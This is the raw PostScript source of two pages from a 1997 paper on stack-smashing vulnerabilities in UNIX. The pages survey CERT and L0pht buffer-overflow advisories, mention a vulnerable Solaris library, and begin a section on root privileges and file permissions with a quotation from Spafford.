rc 0 0 0 sco F2_100 Ji 612 681 M (po)S 0.200 0 (t)A -0.400 0 (e)A (n)S 0.200 0 (ti)A -0.400 0 (a)A 9.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 10.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 12.000 0 32 -1.000 0 (g )D (ho)S 0.200 0 (l)A -0.400 0 (e)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 11.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (a)A (n)S 14.000 0 32 -3.000 0 (y )D (popu)S 0.200 0 (l)A -0.400 0 (a)A 11.300 0 32 -0.300 0 (r )D -0.200 0 (UN)A -2.300 0 (I)A 11.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 12.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A 11.000 0 32 (, )W -0.400 0 (a)A 11.000 0 32 (nd v)W -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A (ou)S 10.900 0 32 0.100 0 (s )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M -0.068 0 (network service utilities and servers.)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M (und)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A -0.400 0 (c)A (o)S -0.300 0 (r)A 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 1.400 0 32 -0.400 0 (ce )D (o)S 1.300 0 32 -0.300 0 (f )D 0.200 0 (i)A (nv)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (ti)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A 1.000 0 32 (. )W -0.200 0 (N)A (o)S 0.800 0 32 0.200 0 (t )D 1.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (e)A 1.200 0 32 -0.200 0 (w )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D -0.300 0 (f)A (o)S 2.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 40.000 0 32 (, )W 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A 40.100 0 32 -0.100 0 (T )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 39.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 39.800 0 32 0.200 0 (m )D -0.400 0 (a)A 39.900 0 32 0.100 0 (s )D 0.200 0 (l)A (on)S 41.000 0 32 -1.000 0 (g )D -0.400 0 (a)A -1.000 0 (g)A 40.000 0 32 (o )W -0.400 0 (a)A 39.900 0 32 0.100 0 (s )D 40.000 0 32 (1989 )W 0.100 0 (s)A (p)S -0.400 0 (ea)A 40.000 0 32 (k o)W 41.300 0 32 -0.300 0 (f \221)D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 41.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A -0.300 0 (\222)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A ; : 1111 1727 3772 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 1184 1727 M 0.500 0 (7)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1218 1743 M 30.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 30.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A 31.400 0 32 -0.400 0 (e )D (o)S 31.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 31.400 0 32 -0.400 0 (e )D (ob)S 0.100 0 (s)A (o)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A 31.400 0 32 -0.400 0 (e )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 30.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S 31.400 0 32 -0.400 0 (e )D (o)S 0.200 0 (l)A 31.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 11.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A 9.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 9.800 0 32 0.200 0 (t i)D 10.000 0 32 (n )W 0.200 0 (t)A (h)S 10.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (a)A 0.200 0 (m)A 10.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 9.900 0 32 0.100 0 (s )D -0.400 0 (a)A 11.000 0 32 (nd )W 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 10.900 0 32 0.100 0 (s )D (d)S 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (c)A (u)S 0.100 0 (ss)A -0.400 0 (e)A 11.000 0 32 (d )W 0.200 0 (i)A 11.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 10.900 0 32 0.100 0 (s )D (3.1.)S -0.400 0 (a)A -0.300 0 (-)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M 34.000 0 32 (3.1.d. )W 35.000 0 32 ( )W -2.300 0 (I)A 35.000 0 32 (n )W 0.200 0 (li)A -1.000 0 (g)A (h)S 34.800 0 32 0.200 0 (t )D (o)S 35.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 35.400 0 32 -0.400 0 (e )D -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A 0.100 0 (s)A 35.000 0 32 (, )W 0.200 0 (i)A (n)S -0.300 0 (-)A (d)S -0.400 0 (e)A (p)S 0.200 0 (t)A 35.000 0 32 (h )W 0.200 0 (i)A (nv)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (ti)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (ti)A 35.000 0 32 (on )W -0.400 0 (a)A 35.000 0 32 (nd pub)W 0.200 0 (li)A -0.400 0 (c)A 0.200 0 (it)A 38.000 0 32 -3.000 0 (y )D (o)S 35.300 0 32 -0.300 0 (f )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 35.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M -0.142 0 (vulnerabilities seems essential in addressing modern UNIX security.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 2452 M 0.500 0 (3)A -0.250 0 (.)A -0.750 0 32 0.500 0 (2 )D -29.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 788 2452 M -0.011 0 (Underground Community)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2657 M -0.200 0 (N)A (o)S 48.800 0 32 0.200 0 (t )D (on)S 0.200 0 (l)A 52.000 0 32 -3.000 0 (y )D -0.400 0 (a)A -0.300 0 (r)A 49.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 49.800 0 32 0.200 0 (l )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 49.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 50.000 0 32 (d b)W 53.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 50.400 0 32 -0.400 0 (e aca)D (d)S -0.400 0 (e)A 0.200 0 (mi)A 50.400 0 32 -0.400 0 (c a)D 50.000 0 32 (nd p)W -0.300 0 (r)A (o)S -0.300 0 (f)A -0.400 0 (e)A 0.100 0 (ss)A 0.200 0 (i)A (on)S -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2834 M -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 21.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 22.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 25.000 0 32 -3.000 0 (y )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 21.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 22.400 0 32 -0.400 0 (e a)D 0.200 0 (l)A 0.100 0 (s)A 22.000 0 32 (o )W -0.200 0 (w)A -0.400 0 (e)A 21.800 0 32 0.200 0 (ll )D (kno)S -0.200 0 (w)A 22.000 0 32 (n )W -0.400 0 (a)A 22.000 0 32 (nd u)W 0.100 0 (s)A -0.400 0 (e)A 22.000 0 32 (d b)W 25.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3011 M (und)S -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -0.300 0 (r)A 1.000 0 32 (ound )W -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 1.000 0 32 (. )W -0.600 0 (F)A (o)S 1.300 0 32 -0.300 0 (r )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 1.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F7) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F7_100) cvn F7 100 xF F7_100 Ji 2231 3011 M 0.400 0 (T)A (h)S 1.400 0 32 -0.400 0 (e )D 0.400 0 (L)A (0ph)S 0.200 0 (t)A ; : 2563 2995 2320 76 rc 0 0 0 sco (F7_67) cvn F7 67 xF F7_67 Ji 2641 2995 M 0.500 0 (8)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2675 3011 M 1.000 0 32 (, )W 1.400 0 32 -0.400 0 (a )D (und)S -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -0.300 0 (r)A 1.000 0 32 (ound o)W -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (a)A (n)S 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on )W 0.200 0 (i)A 1.000 0 32 (n )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D -0.700 0 (B)A (o)S 0.100 0 (s)A 0.200 0 (t)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3188 M -0.400 0 (a)A -0.300 0 (r)A 1.400 0 32 -0.400 0 (ea a)D 0.200 0 (l)A 0.100 0 (s)A 1.000 0 32 (o pub)W 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 0.900 0 32 0.100 0 (s s)D -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 4.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 0.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 2.000 0 32 (, )W 0.200 0 (i)A 2.000 0 32 (n )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (a)A 0.200 0 (m)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A (nn)S -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 1.800 0 32 0.200 0 (t )D 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A 2.100 0 32 -0.100 0 (T )D (o)S 2.300 0 32 -0.300 0 (r )D 0.300 0 (C)A -2.300 0 (I)A -0.200 0 (A)A 1.700 0 32 0.300 0 (C )D (do)S -0.400 0 (e)A 0.100 0 (s)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3365 M -0.119 0 (Once again, buffer overflow vulnerabilities)A ; : 2264 3349 2619 76 rc 0 0 0 sco F2_67 Ji 2337 3349 M 0.500 0 (9)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2371 3365 M -0.105 0 ( are a common thread:)A ; : 522 5386 2880 94 rc 0 0 0 sco F2_83 Ji 612 5386 M 0.250 0 ( )A ; : 1152 5386 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5386 M 0.250 0 ( )A ; 612 5439 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5482 M (7)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 633 5487 M 0.179 0 ( ftp://cert.org:/pub/cert_advisories/obsolete_advisories)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_42 Ji 612 5582 M (8)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 633 5587 M 0.192 0 ( http://www.l0pht.com)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_42 Ji 612 5682 M (9)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 633 5687 M 0.173 0 ( http://www.l0pht.com/advisories.html)A ; LH savelevel1 restore pagesave restore (%%[ Page: 7 ]%%) = %%PageTrailer %%Page: 8 8 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (8)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2160 2321 M 0.035 0 (L0pht example 3.2.a)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 2468 M 0.100 0 (M)A (u)S -0.400 0 (c)A 7.000 0 32 (h )W 0.200 0 (li)A (k)S 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.200 0 (X)A 7.800 0 32 0.200 0 (t )D -2.100 0 (L)A 0.200 0 (i)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 11.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 8.400 0 32 -0.400 0 (e )D 8.000 0 32 (3.1.b, )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 11.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S -0.400 0 (e)A 8.000 0 32 (d )W 0.200 0 (i)A 8.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 8.400 0 32 -0.400 0 (e )D (3.2.)S -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2645 M -0.400 0 (ca)A 16.000 0 32 (n b)W 16.400 0 32 -0.400 0 (e )D 0.200 0 (li)A (nk)S -0.400 0 (e)A 16.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 16.000 0 32 (h o)W 0.200 0 (t)A (h)S -0.400 0 (e)A 16.300 0 32 -0.300 0 (r )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 15.900 0 32 0.100 0 (s )D 0.200 0 (i)A 16.000 0 32 (n )W 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e )D 0.400 0 (S)A (o)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 15.900 0 32 0.100 0 (s )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 17.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 16.000 0 32 (. )W 17.000 0 32 ( )W -2.300 0 (I)A 17.000 0 32 (n )W -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A 17.000 0 32 (, )W -0.400 0 (a)A (n)S 20.000 0 32 -3.000 0 (y )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2822 M -0.138 0 (programs linked with this library may be vulnerable to stack smashing holes.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 3178 M -0.151 0 (4. UNIX File System Permissions)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3412 M -2.300 0 (I)A 18.000 0 32 (n )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1036 3412 M (o)S -0.300 0 (r)A (d)S -0.400 0 (e)A 18.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 18.000 0 32 (o b)W -0.400 0 (e)A 0.200 0 (tt)A -0.400 0 (e)A 18.300 0 32 -0.300 0 (r )D (und)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 18.000 0 32 (nd )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 18.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 19.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 19.000 0 32 (, )W 18.800 0 32 0.200 0 (it i)D 18.900 0 32 0.100 0 (s )D -0.300 0 (f)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 18.800 0 32 0.200 0 (t )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 22.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3589 M (und)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 41.000 0 32 (nd )W -0.400 0 (ce)A -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 41.000 0 32 (n )W -0.300 0 (f)A -0.400 0 (ea)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 40.900 0 32 0.100 0 (s )D (o)S 41.300 0 32 -0.300 0 (f f)D 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 40.800 0 32 0.200 0 (m )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 40.900 0 32 0.100 0 (s )D 0.200 0 (i)A 42.000 0 32 (n )W 0.200 0 (t)A (h)S 42.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 42.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 43.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3766 M 0.400 0 (P)A -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 17.900 0 32 0.100 0 (s )D 0.200 0 (i)A 18.000 0 32 (n )W 0.200 0 (t)A (h)S 18.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 18.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 19.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 17.800 0 32 0.200 0 (m )D -0.400 0 (a)A -0.300 0 (r)A 18.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nv)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 18.000 0 32 (d )W 0.100 0 (s)A (o)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (l)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 19.000 0 32 (n )W 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 19.300 0 32 -0.300 0 (r )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 3684 3766 M 0.100 0 (r)A (oo)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3851 3766 M 19.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (tim)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3943 M -0.400 0 (ca)A 0.200 0 (ll)A -0.400 0 (e)A 10.000 0 32 (d )W 0.200 0 (t)A (h)S 10.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (up)S -0.400 0 (e)A -0.300 0 (r)A (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 10.000 0 32 (, )W -0.300 0 (r)A (oo)S 0.200 0 (t)A -1.000 0 (')A 9.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (lli)A (b)S 0.200 0 (ilit)A 13.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A (p)S -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 10.000 0 32 (d und)W -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 14.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (ond)S 0.200 0 (iti)A 11.000 0 32 (on )W 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (ud)S 0.200 0 (i)A (n)S 12.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4120 M -0.033 0 (execution. As Eugene Spafford states[6]:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4297 M -0.109 0 (\223The superuser is the main security weakness in the UNIX operating system.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4395 M -0.006 0 (Because the superuser can do anything, after a person gains superuser)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4493 M -0.013 0 (privileges - for example, by learning the root password and logging in as root)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4591 M -0.139 0 (- that person can do virtually anything to the system. This explains why most)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4689 M 0.002 0 (attackers who break into UNIX systems try to become superusers.\224 [6],\(82\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4934 M -0.100 0 (E)A -0.400 0 (ac)A 14.000 0 32 (h p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 13.800 0 32 0.200 0 (m )D -0.300 0 (\()A (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A 14.300 0 32 -0.300 0 (\) )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (e)A 14.000 0 32 (d b)W 17.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (oo)S 13.800 0 32 0.200 0 (t )D (u)S 0.100 0 (s)A -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 0.200 0 (i)A (nh)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (it)A 13.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (oo)S 13.800 0 32 0.200 0 (t )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (')A 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (ll)A -0.300 0 (-)A 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (u)S 0.100 0 (s)A 0.200 0 (i)A (v)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5111 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 19.000 0 32 (. )W -2.300 0 (I)A 19.000 0 32 (n )W 0.200 0 (m)A (o)S 0.100 0 (s)A 18.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 0.100 0 (s)A -0.400 0 (e)A 18.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 